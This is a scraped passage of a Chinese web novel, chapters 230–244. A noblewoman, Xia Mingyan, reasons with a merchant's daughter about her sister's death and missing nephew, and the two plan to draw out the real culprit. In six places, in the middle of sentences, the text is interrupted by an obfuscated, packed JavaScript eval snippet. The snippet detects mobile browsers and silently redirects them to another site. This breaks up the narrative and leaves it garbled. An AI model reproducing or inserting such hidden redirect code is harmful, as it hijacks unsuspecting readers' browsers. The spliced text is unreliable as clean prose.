“逼**命还给她下毒的凶手,你们也一样没见过,对吧?如此说来,这两个人究竟是谁,甚至究竟是不是同一个人,你们都一无所知。” “这就奇了,之前被怀疑的人只有我家二弟一个的时候还说得过去,可是这一天一夜里,被怀疑的人可就多了,为何吕二姑娘不去怀疑别人?” “这要如你所说,你只想找到真凶和孩子,这时候你怎么反倒只盯着我们家二弟了呢?难不成你们这班放任邻里议论,是想将事情闹大,从而待价而沽,谁主动上门了,这孩子就是谁家的?” 吕冠瑛由着周围的人议论吕大姑娘的身后事,要的就是博取关注。 这件事闹得越大,孩子的亲爹越有可能迫于压力出现。吕冠瑛也曾想过自己外甥的将来,她有自知之明,没有觊觎过高门庶子的位子,但孩子的父亲最少也要去府衙把孩子的户籍文书重新做一下吧? 只要能找到这个人,帮孩子恢复一下身份,哪怕继续跟他们家姓吕,就算始终不得进门,他们也认了。 吕冠瑛的脸色很不好,没想到这么一会儿就被人揭了个底掉:“我……我长姐不是没说,她是不知道那人的名讳,那日在铺子里撞见了,也认出来了,可她还来得及跟我们说,人就没了。” “就算跟华二公子没关系,你们想要让我们相信,让元京府的张大人相信,就得拿出证据来。不能说别人有嫌疑,你们反倒没嫌疑了,对吧?” 见吕冠瑛油盐不进,夏明嫣放下帷帽上的轻纱,笑着道: “有嫌弃,就该被拎出来针对?吕二姑娘这分明就是看热闹不嫌事儿大,想要待价而沽啊。别的也就罢了,这种事儿本就难证明。” “万一哪天元京府又说了,说华家二公子不是真凶,也不是孩子的父亲,这两者都另有其人,你又如何证明那个人不是被屈打成招的?” “别的事儿认不认的也就罢了,坏了你阿姐名节的人要是认不准了,实际上害了她的人就会逍遥法外。而你外甥的父亲……要认爹,可又有谁是乱认的?” 围观的人议论纷纷,显然里面也有人清楚滴血认亲没用,这些人都在为另一些人解释为什么没用,都在说夏明嫣说得有道理。 先不说华靖和究竟是什么身份,就算真的证明了他是那个逼**吕大姑娘的人,这孩子也难认祖归宗。 夏明嫣不动声色地轻掐了下准备唱红脸地乔依心,试图让她劝上一劝: “吕二姑娘,我不是华家的人,我不偏帮你们任何一方,我就说几句公道话。吕二姑娘,你阿姐新丧,外甥不知被谁给带走了,不乱府衙那边如何判,眼下都应该以找到孩子为重。” “华侯夫人受家人所托来此,断断不是来威胁你什么的,她也是想查清真相,早日给两边一个交待。” “你们两边都不大知道真相,为何不坐下来心平气和地谈一谈?你们一起说话,才能看出来这当中的破绽,看出你们掌握的,哪里是不一样的,哪里是能互相补充的。” “这么多人都看着呢,要不咱们到里面说去,也许能找出一个妥帖的法子?” 下面来看热闹的老人里,有些是看着吕二姑娘长大的,当中不免有人叹了起来。 “这种事儿说不好,冠瑛啊,你可得想好。你阿姐的丧事我们凑一凑也就够了,你那外甥得赶紧去找。” “是啊,冠瑛啊,要我说小外甥可能不知道跑谁家玩儿去了,说不定过几日就回来了,可他的前程那确实还要人家帮忙的。就算只是找人,你们吕家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478265|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人手也不够,还是得借他们的手……” 这些人真是唯恐天下不乱,要是吕冠瑛这时候说点什么表个太,即便华靖和什么都没做,最后也被放出来了,这一切也会变成吕冠瑛为了保护自己的外甥,而故意答应下来不再追究的。 这样的话,那盆华家徇私的脏水,可就实打实地被泼在身上了。 吕冠瑛被这些人说得脸上青一阵儿白一阵的:“你们……平日里就没少议论我阿姐,我阿姐是招你们了,还是把你们怎样了?要不是你们背地里总是抓着那些旧事不放,她也未必就会**。” “我吕冠瑛更不是为了钱财、前途去讹诈别人的,是,我是不知道当年跟我阿姐有了孩儿、这么多年都对她们母子不闻不问的人是谁,可我阿姐不是完全没有说过的。” “她说过,这个人性子温和、才富五车,做的诗也很好,样子更是挺拔、儒雅,年纪也不大,如今也就二十来岁的样子,是个高门子弟,还是个读书人。” “你们大伙儿都给评评理,我也不要什么脸面了,大伙儿都是看着我们家的人一路过来的,当**儿也都清楚,我阿姐也是被人害了的。” “我就问一句,你们可以去元京府衙打听打听那些被怀疑的人,那些人里谁比华二公子更像那个人?” 这……众人议论着,吕冠瑛既然敢这么说,她定是一大早就派人去问过的,估么着这些被带去盘问的人里,也就是华靖和最玉树临风,最像这吕大姑娘所描述过的人。 吕冠瑛这时候心里也觉得奇怪,她阿姐都能把人的特点说得这么清楚了,怎么就不知道那人是谁呢? 还是说她阿姐认得准那个人,只是不知道对方的身份?若是当真如此,那还真有可能就是华靖和了。 不过……好像也不对,华靖和去过铺子里,这是有人瞧见了的,要是她阿姐认得这个人,怎么会回去之后一声都不跟她说? 第230章只是像,没用 吕冠瑛心里乱了,不是她之前没想到这中间的纰漏,是府衙的差役跟她说的和跟夏明嫣他们说的不一样。 夏明嫣敏感地察觉到了吕冠瑛这一瞬间的闪神,她抓住机会便道: “吕二姑娘,我理解你家姐新丧、外甥又不知所踪之下,你心里定是又急又气的。这件事的起因已经过去三年了,又是一桩说不清、道不明的乌头官非。” “你一时找不到头绪,便看着谁像就是谁了,想要抓住一个兜头就打,之后再看能不能拔出萝卜带出泥,找到其他有可能的人,也可以理解。” “可是你要知道,像不代表就是,这终究不是一个办法。你总不想只用‘像’字就可以把事情办成铁案,就算是对你长姐的亡灵有了交待了吧?” “还有这个孩子,这么长时间了,你们当初不找,现在却咬定了是谁家的。就算元京府之后也凭着一个‘像’字把这孩子判给了哪家‘认祖归宗’了,他们担心再触犯一次律法,表面上应下了,可他们真就会对孩子好了?” 吕冠瑛的脸色青一阵白一阵的,她知道这些话里的利害,可是夏明嫣毕竟是华靖和的长嫂,她的立场就是偏的,这些话她不能全信。 正因为如此,她还是不得不拖延下去:“只是像又如何,你都说了时间久远,没了证据,那么‘像’就是证据,总比什么都没有强吧?” “孩子……我要先把孩子找回来,要是能找到的亲生父亲,能让他有了良籍的籍书,那是他应得的。至于养她、教他,我们吕家还不至于连个孩子都养不起,就不牢你们费心了。” 夏明嫣戳了乔依心一下,乔依心便明白这时候又该她这个中间人说话了,她这个人说话比夏明嫣直,这时候说出的话也更能说服吕冠瑛: “吕二姑娘,不是我说你,你这也想得太多了……不,是太少了才对,大恒哪天律例规定了没有证据就找那最像的定罪了?” “你到现在还看不出来吗?这件事里有这么多的疑点,府衙现在带了这么多人去问话,说明这些人都有嫌疑,可是为什么他们头一个要去拿华二公子?就因为他‘像’?” “这‘像’要是做得准,后面就不会再拿这些人了。说到底仅凭一个‘像’字落不了罪,最后他们还是得放了华二公子,这种事儿华家和华二公子的名声的确会有损害,可当中受到最大伤害的只会你阿家的身后名和你们吕家。” “你仔细想想,他们敢议论华家、华二公子和那当中的哪位公子?会作为茶余饭后谈资的只会是你们吕家的人。还有你的小外甥,要是寻常未能进门的外室子也就罢了,出了这样的事了,为了不再生事端,反而是一定会进门的。” “可你别觉得把孩子认回去了,他就真能跟别的庶子一样了。吕二姑娘,你没在深宅大院里过过日子,不知道这有些出身不正的孩子,实际上过得连得脸的下人都不如,你真想让你的外甥去过这样的日子吗?” “要我说,既然华侯夫人今日上了你们吕家的门了,就是想跟你好生商议一番的。她的小叔子被人污蔑,你的阿姐身负冤屈,外甥不知所踪,你们刚好见个面,跟彼此商议一下,说不定就有解决的办法了呢?” 要说如今大家子里的庶子庶女跟嫡出的子女比,其实在明面上至少是公中的这块儿支出上是没什么差异的,可那是清清白白的庶子、庶女,不包括归宗的外室子女,更不包括罪籍和贱籍所出的子女。 吕大姑娘曾经沦落贱籍,虽说后来念在她是小时候被拐了去的,被吕家凭着信物和胎记、小时候的长相认回去之后脱了籍,重新入了良籍,成了商户女,可这孩子也的确是在她还是贱籍的时候有的。 而且吕大姑娘生前也不是什么外室,她是一点儿名分都没有的,这孩子连外室子都算不上。 这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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见事情有了转机,夏明嫣便笑了,尽管她的语气依然很严肃:“吕二姑娘,既然要谈正事,还要在这门口说么?要不咱们里面坐坐?” 第231章要是他,早认了 夏明嫣和乔依心就这样进了门,二人摘下帷帽,彼此对视了一样。 乔依心拼命压制着眼中的得意和兴奋,她都没想到刚才在大庭广众之下她能说出那番话,而且还劝得吕冠瑛答应让她们进来了。 夏明嫣便低声道:“这是个商户的宅子,你且看看,我去跟她说,等我们说完了,你再劝劝她。我带你来,也是因着刚才管你们家借了人手盯着这边了。” “这里面有些事儿,你做得了主,我却不行。你只让她放宽心就好,其实这事儿我心里有数,总能让他们跳出来的。” 多的便不再说了,乔依心可不知道什么这辈子、上辈子的,她就是想让乔依心学着担担事儿,而且这件事终究是要落到夏明月和李玦身上的。 李玦跟孙允斌是一丘之貉,要是她没猜错,这辈子夏明月还没来及去处理孙允斌这条线呢,也就是说孙允斌如果按照命运的轨迹在近日来到元京,他还是会搭上李玦的。 让乔依心参与一下这件事,也能让她尽快看清这几个人的嘴脸,之后便不再会被孙允斌骗了。 夏明嫣之前只能暗示乔依心不要被那种看起来穷困可怜却风度翩翩的读书人骗了,可这不是长久之计,还是得彻底对孙允斌这个人死心才好。 乔依心留下应付吕家其他人,夏明嫣跟着吕冠瑛去了前厅,她打量着沿路她经过的这几间屋子,都收拾得非常齐整,可见事情发生之后,吕家并没有乱,而且吕家还掌握在吕冠瑛手中。 进了前厅,吕冠瑛便道:“不知华侯夫人有何见教?你要是敢诳我,只是想逼我主动去作证,说这件事跟你家小叔子无关,就**这条心吧。” “你要是这样,只会说明你心虚,反而说明这件事就是他做的。他始乱终弃在先,不认孩子在后,我绝饶不了他。” 夏明嫣看了看她,不等她请,便自己找了把椅子坐下,还就着一旁的茶壶,给自己倒了一盏。 这时候夏明嫣已经不复刚才有商有量的样子,而是多了几分笃定的意味:“行了,没人了,吕二姑娘这般放任府衙随意拿人,不就是想看看有谁会像我一样上门说项么?” “但凡有人上门了,许了你好处了,这就是真凶家里的了。可你有没有想过,这里有很多不对的地方,你的想法注定只会落空,到最后什么都得不到?” 最后他们只会沦为夏明月等人让华家和华靖离出丑的工具,可是华靖离和华家出丑又如何? 华靖离一身的军功,只要在这件事里没有被抓住明显的把柄,等过上几年,风头淡了,他依旧还是那个钩翊侯,说不定还能演一出兄弟情深却还能大义灭亲的戏码,将他自己抬得更高呢? 事情过了,谁也不会说他的不是,而这一切的祸根却全落在了已经亡故的吕大姑娘和那个不知所踪的孩子身上。 而且根据夏明嫣上辈子知道的事儿,要是她不插这一手,吕冠瑛可能这辈子都找不到她的小外甥了。 “你……什么意思?只要能找到真凶,再不济找回我的外甥,我……愿闻其详。” 吕冠瑛不想低头,可是夏明嫣是第一个登门的人,她要是能从夏明嫣这儿套出些什么,总归能有个方向。 夏明嫣开门见山地道:“吕二姑娘久居元京,想必是过御青书院的,实不相瞒,是我家这二弟意外入了终选了,挡了别人的路了,恰巧你们家里又出了这件事,才有人想从你们身上下手将他搬到的。” “这倒也不是他们最大的目的,他们真正想要的是牵连到我家侯爷身上,想看着他袒护自己的亲弟弟,闹得华家没脸,甚至让华家与圣人、朝廷离心。” “要不然你以为那么多可以怀疑的人,他们为什么偏偏去找我那小叔子?” “那也可能是华二公子嫌疑最大,元京府的人才先去拿他的。”吕冠瑛嘴硬道。 “这里面有些事儿,你怕是不知道的。这些个高门大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480515|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宅,对外说的好听,其实内里关起门来是怎么回事,只有自己知道。” “我进华家的门才一个多月,此前与我这小叔子素不相识,要说我会袒护他,恐怕没几个人会信。何况从情理上来说,不是我这人有失公心,而是他这个人根本做不出这样的事……” 夏明远便将华家的情况絮絮叨叨地说了,她告诉吕冠瑛,华靖和是庶出,生母并不讨主母喜欢,而这主母董氏才是华靖离的亲娘。 华靖离长年在军中,对这庶弟虽说没有过什么不友好的举动,但也绝对没有太亲密过。 而华叶峰爱重正妻董氏,纳华靖和的生母进门不过是奉旨行事,他一心要稳固华靖离的地位,对华靖和并没有多关注。 华靖和这个华二公子当的,不过是比寻常人家的公子多了几两银子的月钱,从前在元京的时候是既无恶行,也无大的善举和什么出挑之事的。 他这人性子软,干出过的最坏的事,不过是跟人争抢过古画,还有就是喝醉了之后跟人打过两架,最后还是他输了。 “这样的一个人,我说难听点,就是肩不能抗、手不能提的软货,让他去谋人性命,还又是用毒蛇咬人,又逼迫着人家羞愧自尽的,这怎么可能?” “即便他真有不为人知的一面,背地里是个人面兽心的,他也根本不需要这样做。我这话不好听,可却是实话。要是与你阿姐有私的是我嫁侯爷,你阿姐八成是进不了门的。” “可若是与你阿姐有私的是我那小叔子,他只要跟家里提了,最多跪上几天的祠堂,你阿姐纵使进不得钩翊侯府的大门,应是早就被安置到别院了……不为别的,只因为我这小叔子是华家守业的老儿子,能够多子多孙就是他这辈子最大的作为了。” 夏明嫣跟她讲了华家有关的家规,说明了华家男儿大多数早上战场,为了不至于断了香火,这老儿子生下的孩子就要保住华家的传承的,吕冠瑛的脸色彻底白了。 第232章不是不知道是谁 华靖离才成亲,嫡子、庶子都没有,之前刚刚**重伤,差点儿没挺过来,这是全元京都知道的事,要是华靖和外面有个孩子,还是个男丁,这时候他跟家里说了,华家会不认吗? 就是留下做个保障都好,哪怕先养在外面呢?这种情况下,为了将来孩子不怨恨,即便不接纳孩子的生母进门,也会给了银子、宅子,远远地安置了出去,是不会将人逼死的。 夏明嫣看了她一眼,迅速地别开目光,冷笑道:“说句难听的,真想去母留子,只将你阿姐灭了口就够了么?你们家就剩你们姐俩了,只除掉沉默寡言的姐姐,留着你这个能言善道的似乎不太划算吧。” “又下毒,又逼人投缳的,用得着这么麻烦么?找一伙儿伪装成盗贼,一刀一个,就你们这一院子的老弱病残,不比用那些招数省事?留那么多证据,怕你们查不到吗?” “要把人逼死,万一她回了家之后,被人你们开解几句,就不想**呢?**,还是蛇毒,从那座宅子出来,即便坐马车回到吕家,也得一炷香的时间,真是要命的毒,路上人就没了。” “就算是一般的能致命的毒,要是夜里就能**,在她回到家里的时候也不可能一点不适都没有。那日你见过她吧?她有没有不舒服?脸色有没有很难看?” “这下毒也是有讲究的,要么便是剧毒,见血封喉,虽说七步之内毒发,有时候有些夸张,可是**拖到了后半夜,这也太久了。这中间你们家里但凡有人发现她身子不适,就会请郎中或是报官,那么她就死不了了。” “只要她活着,究竟是谁,像或不像,都还有的说,害她就没意义了。要说是慢毒,伎俩就会很小,初时根本发现不了,少则半年,多则几年才看得出来,那就更不可能了。你说对不对,吕二姑娘?” 破绽还不止这些,若说这人曾经想要逼死吕大姑娘,又怕她不死,才给她下了毒。 那么与其等着不确定具体什么时候毒发,还要去确定她到底死没死,有着时间,还能轻而易举地进了这几乎毫无防备的吕家内宅……还下毒干吗,直接一刀捅死,说她是自裁的反而更快。 吕冠瑛声音都有些颤抖了:“真跟华二公子无关?我也是没有法子,那些个差役让我怎么样,我就只能怎样,听他们的,还有机会,否则我就真没办法了。” “孩子,我派人去找了,可就是找不到。这几日,府衙那边也没有消息,我便想着多半孩子也是被逼死我阿姐的人或是他家里人带走了,只有他们会把孩子带走养着。” “华侯夫人,我不是故意赖着华家的,可是华二公子真的很像我阿姐曾经说起过的那个人,我想不到其他……” 吕冠瑛再是一个干练的人,在她面对的对手是她和整个吕家都无法撼动的时候,她会慌乱,会不知所措,也是人之常情。 夏明嫣能明白这种感受,就像上一世,她只是李玦的妾室,有人会说她是夏家嫡女,她怎么就不反抗呢? 可生母不在,继母包藏祸心,祖母年事已高、病弱在榻,亲生父亲又只会对自己提要求,让她看好端侯府,要是有可能还要替夏家谋得好处…… 她只有一个原配嫡女的名头,她能做什么?谁又能给她机会做什么?她用了十余年才积蓄起了足以反抗的力量,到最后还是被夏明月和李玦一招致命。 现在的吕冠瑛就是一个商户之女,还没了父母和唯一的亲姐姐,唯一的外甥还不知所踪,她已然成了孤女。 而且从年纪来看,因为家里的问题,她已经过了一般人家婚配的年纪却连亲事都没有定下,连夫家的助力也是没有的。 这样的吕冠瑛软弱一些也正常,无计可施的情况下,又人命关天,她也只能将其他人都拖下水了。 夏明嫣表示理解,却不认同:“吕大姑娘归家之后,吕二姑娘可是已经很久没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480516|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关注过元京这些高门公子的传闻轶事了?” 吕冠瑛没想到夏明嫣会问这个,可仔细想想,怎么不是呢? 她阿姐是从那种地方被赎回来的,连带着她身上的闲言碎语也不会少,她要在外行走、打理家里的生意,她总不能见一个说闲话的或是可能说闲话的,就抡起擀面杖把对方打一顿吧? 她和她家里的女眷们就都只能避着这些事儿,避到什么程度?就是但凡跟适龄男子有关的事都不去沾惹,就是有人说些小话热闹一下,她们也要避开,不敢去听。 听了这些个话,她们要是表现出兴趣了,看起来像是想听了,就会被说跟她长姐一样,骨子里就是个不尊妇德的。要是她们表现出严肃的样子,或者斥责那传人闲话的人,又会被骂装什么正经人。 久而久之,她们索性不往扎堆的人那儿去了,她现在只除了几个从小就很要好的朋友,跟其他同龄的姑娘、男子都不大往来了,的确不知道这几年元京风头最盛的儒雅公子哥儿是谁。 夏明嫣无声地掀唇一笑:“这人与你的描述也很相似,就连出身也像了六七分,而且此人若是在外面惹了风流债了,他定是不敢禀告家中长辈的,更不可能迎娶一个落了难的商贾之女。” “或许我这么问,你能明白些。说些冒犯的话,你阿姐想必并未说过自己是被人强迫的?那即便没有到情投意合的地步,也是之前就认识而且她很可能有些好感的。” “她并非不知道那人是谁,只是不想说那人是谁,你觉得对吗?如果是这样,她为何不想说,也不肯说?” 吕大姑娘当时流落到了那种地方,她不是里面当红、要紧的人物,要是她真不肯,里面的人也得打到他肯,断断不会蒙住她的眼睛,再给她下了药了,让她无知无觉地把人给服侍了。 这不是里面行事的路数,吕大姑娘也没要紧到别人不敢打她还费这么多事儿的地步。 第233章对策 因此即便吕大姑娘不是情愿的,也不清楚这人的身份,她也不可能连这人脸都没看到。 要说她要是一辈子待在里面,或许还能不知道那人的身份,可她出来了,要说她没找过这人,夏明嫣不信。 即便不打算相认,孩子已经生出来了,就算不想被孩子生父碰上再认出来,她也得知道这个人是谁。因为知道了,才能避开啊。 就算她一直没找到这个人,不知道他的身份,描述起这个人的时候,也会说出更多的特征,不会只是什么“儒雅的读书人”这样的描述。 与其说吕大姑娘不知道这个人是谁,不如说她不愿意说,不想说。 她不说,可能是出于对这人的爱慕,她因为自己的出身而自惭形秽,不想相认之后拖累这个人。 当然也有可能是,她知道即便她说了,也没用。人家不会认她,也不会认孩子,与其自取其辱,不如不说。 她一旦说了,即便她能说服自己的家人不刻意去找那人,都在元京城里,万一哪天撞见了,他们没忍住,跟这人冲突起来,可怎么办? 他们一介商户,人家要是不认,要是就想把这件秘密掩盖下去,最好的结果也是抓住他们生意上的错处,将他们赶出元京。再要么,甚至有可能给他们全家惹来牢狱之灾。 所以吕大姑娘不说,要么是她爱那人爱得要死要活,为了维护那人的名誉才不说的,要么就是担心一旦两家对上了,可能给家里招来更大的麻烦,才不敢说的。 再要么就是两者兼有,她对那人又爱又恨,权衡之下,还是自己养大孩子更合适。 吕家二老那时估么着也觉得冒然去认太过丢人,因为这就等于将吕大姑娘前头的经历公之于众了,那真是一家人都别活了。 而且眼见着大女儿已经这样了,二女儿的亲事也耽误了,万一二女儿这辈子都没婆家了,他们吕家就真的无后了。 既然吕大姑娘回来的时候月份已经大了,这孩子又已经生下来了,还是个男孩儿,那便自己养着吧。这孩子姓吕,以后就是他们吕家的香火…… 吕冠瑛回想这姐姐从前提起那人时的情形,姐姐的那些眼神、那些无奈与神往,她还有什么不明白的? 要是真不知道那人是谁,还有什么好神往的?姐姐分明是知道的,甚至还好多次试图从孩子的身上找到那人的影子。 姐妹间的相处是很细腻的,要是别人未必能发现这些,她是姐姐唯一的妹子,那时候心里头又特别亏欠姐姐,这才观察得细腻了些。 只是那时她也还在半懂不懂的年纪,看到姐姐的反常之处,她也没觉得就是什么重要的事儿。 如今她也懂事儿了,哪里还不明白这当中的微妙之处……只是这些天光顾着着急了,才没有意识到。 还有孩子的去向,要真是被他的生父带走的,华靖和现在已经在元京府大牢里问话了,孩子又会在哪儿,是谁安置的? 就像夏明嫣说的一样,越来越多的地方说不通了。 要是孩子真在华家或是在现在被带去元京府的那些公子中的任何一家,为了脱罪,对方都应该开始拿孩子要挟她去府衙做伪证了,可是直到现在,都没有一家在这样做。 也就是说,孩子的父亲很可能根本就不在这些人家里,折腾了半天,得罪了这么多,真凶、孩子的父亲和带走孩子的人一个都没露头。 吕冠瑛尽管不愿相信,可是事实摆在眼前,府衙的确不可能两个人有相似之处就断定这事儿就是人家干的,何况还有这么多的破绽。 元京府的那些人之所以肯配合着她做了这么大一桩事儿,还是夏明嫣说的对,这背后的人就是冲着华家去的,并不是因为她有多占理。 吕冠瑛无奈地道:“这件事是我考虑欠妥,不该府衙一来人,一提是华二公子,我便说我信了。感谢华侯夫人能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488617|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为我们着想,能不掀了我们吕家的铺子。” 她站起身走向夏明嫣,就在夏明嫣身前突然就跪下了,“我是实在没法子了,才厚颜无耻地请夫人帮忙。夫人这么说,是不是已经知道这人是谁了?” “可否告知于我?要是找到了真凶和孩子的去向,我吕家定当重谢,要是没找到,我们也就认了命了,也不怪夫人。” “快请起,我来这儿就是帮你们解决难题的。” 夏明嫣先将吕冠瑛扶了起来,然后才道,“吕二姑娘,这事儿难就难在,这凶手、孩子的父亲和绑走孩子的人,是不是同一个或是同一伙儿人。” 当然,这有可能就是一个人干的,但也有可能是三个以上的人干的。 “我说一千道一万的,说出来的也只是我的分析和猜测,什么都不如让你们看到能证明事实真相的证据,能找回孩子,听他亲口说这几日他不见踪影的真相,来得重要。” “让对方亲口说?他或是他们能这么傻吗?”吕冠瑛不信,这几天什么招都使了,可是一点头绪都没有。 夏明嫣笑了一下:“你当我方才在你家门前又是让侍女砸门,又是让好友跟我一起劝你是为了什么?为的就是壮声势。” “我自己比较相信这三件事就是一个人或是一伙儿人干的,可到底缺了些实证,既然如此,那我们就让他们自己把证据交出来。” “先说你阿姐死得不明不白的,害死她的人为什么要要她的命?为什么要给她下了毒还要她投缳?说到底还是担心她死不了,担心一招不成,要不了她的命了,她再把事情说出去。” “你想,若是只投缳,万一被你家里人给救下来了。这死过一回的人最是清醒了,万一她想明白了,把事情给说出去了,让你们知道这人是谁了,还就在那几日见过了,你们万一去找怎么办?” “这些人怕什么,咱们就该给他们来什么才对!” 第244章只要给孩子一个良籍 害人者最怕的就是亡者归来,吕大姑娘已经**,元京府都公布了,这一点无法改变,可是她会不会留下了什么东西呢? 上一世直到何夫人去世之后很久了,夏明嫣才发现何家老宅藏着一个孩子,那时候那孩子已经近十岁了,一个人文文静静地待着,拿着半幅绣品问她知不知道他的娘亲是谁。 夏明嫣那时候查问过何家的所有下人,没人说得出他的母亲是谁,可是他的父亲是谁却一目了然,她也是把当时审出来的那些蛛丝马迹跟现在的一些事情联系在一起,才想通了里面很多的事。 上一世华靖和没有参选,李玦也没有,这件事被办得无声无息,吕大姑娘母子在元京府的案牍上死于贼盗杀害,待到她查证的时候,吕二姑娘也已经不知所踪,想来也已经遭遇了不测。 吕冠瑛涣散的目光渐渐重新**:“夫人的意思是,我阿姐死前留下了跟孩子生父有关的东西,被我发现了?还……在今日,夫人也看到了?” 夏明嫣颔首:“你如此笃定是我家二弟害了你阿姐,一样是因为这样东西,只不过你之前误解了,我帮你发现了真相。同时你也可以暗示本来没有什么真相,你在我登门之后接受了我的提议。” “你可以让那些人以为你是为了让孩子有个父族,才急着赖上华家的。而我这么做本来是为了息事宁人,想尽快平息这件事。左右二弟他只是一个庶子,并非我家侯爷的同胞亲弟,要是能认下一个外室子就能了结此事,那可太值得了。” “可是我在你这儿看到了你阿姐的遗物之后,我改变了主意,我虽然答应了你会设法让华家认下那孩子,可现在变成了要稳住你,我可能从中发现了什么,所以现在变成了只是在稳住你,目的是找到孩子真正的父亲,好洗脱二弟的嫌疑。” “你发现了我的打算,担心我不仅找不到真相,还会因此不肯认孩子回去。于是,你开始担心,你现在想要的就是想让孩子能有个出身了,你担心两头的没有着落,所以随时可能不打算再跟我合作……” 虽说死者为大,可说到底还是要替活着的人考虑更多的,吕冠瑛要先装作被她说服了,打算暂时放下对长姐自尽真相的追查,只为了让她唯一的外甥能够“认祖归宗”。 她要让外面的人以为,即便认下孩子的人并非孩子真正的生父,她也愿意,只要孩子能有个家门,能不至于沦落贱籍,她逮着谁都能咬一口。 她现在最右可能咬住的就是华家,可是她意识到夏明嫣在怀疑孩子的生父另有其人,可又可能查出这人是谁,只会借此洗清华靖和然后洗脱他们自己的时候,她决定赖上华家。 可因为她的目的是给孩子找到“爹”,要是夏明嫣真能证明华靖和不是这个“爹”的话,她也必须找好下家,因此她也在暗中顺着长姐的遗物调查“真相”。看是能真的找到这个人,还是在过程中再赖上什么人…… 吕冠瑛明白了:“这件事背后有人,完全相信或是完全不信都太假了,人在利益权衡面前本就是反复无常的,我又是个精于算计的商户女,会摇摆不定,最是寻常。” “今日我见识到了华侯夫人的利害,又看出你要看了阿姐的遗物之后可能想到了洗脱华二公子罪名的法子,我便也要去找后路的。” “只要我想着去找真相,哪怕是顺着线索编造一个真相出来赖在另一个人头上,也是有可能会赖在他头上的。他担心我赌中了这个万一,就会再次出手!” 她们发现的“遗物”只要是吕大姑娘留下的就势必对找到孩子真正的父亲有帮助,只是看她们什么时候能找到正确的路罢了。 但只要她们顺着这条线继续追查下去,就可能误打误撞地找到真凶,而真凶是断不会让这种可能发生的,只能来抢夺遗物,或是对吕冠瑛和夏明嫣动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488618|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手。 这姑娘也是个聪明人,夏明嫣对聪明人一向喜欢直来直往:“正是如此,我这边吕二姑娘不必担心,自有人护着,他们一露头便会被擒住。” “你这边我也安排了人手,要是你放心,刚刚那位乔姑娘近几日也会多来你府上打扰,那些派来的人一半是她家的。她来找你坐坐,能引起背后之人的注意,也能保护你的安全。” “好,就听你的安排。可要是这样还找不到真凶,纵使我不认为华二公子跟我阿姐的事有关,怕是背后的人也不会放过他和你们华家。” 一旦想通了,吕冠瑛也是个不爱拖泥带水的人,“要是华二公子最终落了罪,你也得保证不牵连我们吕家。再有,我肯配合你和华家,是谢你替我指点迷津,帮助阿姐找到真凶,让她的在天之灵得到安息。” “可是这也是在帮华侯和华家,我要点回报,总不过分吧?” 夏明嫣微微一笑,其实已经想到了她想要什么,可还是多嘴问了句:“吕二姑娘这就开始要报酬了?也好,亲兄弟也要明算账,有什么要求,你只管说。” “如果还能找到我的外甥的话,我希望等到事情平息之后,能为他求一个良籍。我不是说非得是华二公子,别人……是谁都行,我只给他要一个良籍。” 